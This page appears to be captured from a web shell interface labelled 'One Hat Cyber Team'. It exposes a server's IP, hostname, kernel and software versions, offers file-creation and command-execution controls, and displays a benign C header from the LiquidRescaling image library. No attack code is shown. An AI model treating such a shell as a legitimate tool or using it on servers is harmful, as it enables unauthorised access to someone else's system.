⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.74
Server IP:
104.21.16.1
Server:
Linux vmi2315822.contaboserver.net 5.15.0-134-generic #145-Ubuntu SMP Wed Feb 12 20:08:39 UTC 2025 x86_64
Server Software:
LiteSpeed
PHP Version:
8.3.21
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
include
/
lqr-1
/
lqr
/
View File Name :
lqr_rwindow_pub.h
/* LiquidRescaling Library * Copyright (C) 2007-2009 Carlo Baldassi (the "Author") <carlobaldassi@gmail.com>. * All Rights Reserved. * * This library implements the algorithm described in the paper * "Seam Carving for Content-Aware Image Resizing" * by Shai Avidan and Ariel Shamir * which can be found at http://www.faculty.idc.ac.il/arik/imret.pdf * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation; version 3 dated June, 2007. * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Lesser General Public License for more details. * You should have received a copy of the GNU Lesser General Public License * along with this program; if not, see <http://www.gnu.org/licenses/> */ #ifndef __LQR_READER_WINDOW_PUB_H__ #define __LQR_READER_WINDOW_PUB_H__ #ifndef __LQR_BASE_H__ #error "lqr_base.h must be included prior to lqr_rwindow_pub.h" #endif /* __LQR_BASE_H__ */ enum _LqrEnergyReaderType { LQR_ER_BRIGHTNESS, /* read brightness */ LQR_ER_LUMA, /* read luma */ LQR_ER_RGBA, /* read RGBA */ LQR_ER_CUSTOM /* read the buffer as-is */ }; typedef enum _LqrEnergyReaderType LqrEnergyReaderType; struct _LqrReadingWindow; typedef struct _LqrReadingWindow LqrReadingWindow; LQR_PUBLIC gdouble lqr_rwindow_read(LqrReadingWindow *rwindow, gint x, gint y, gint channel); LQR_PUBLIC LqrEnergyReaderType lqr_rwindow_get_read_t(LqrReadingWindow *rwindow); LQR_PUBLIC gint lqr_rwindow_get_radius(LqrReadingWindow *rwindow); LQR_PUBLIC gint lqr_rwindow_get_channels(LqrReadingWindow *rwindow); #endif /* __LQR_READER_WINDOW_PUB_H__ */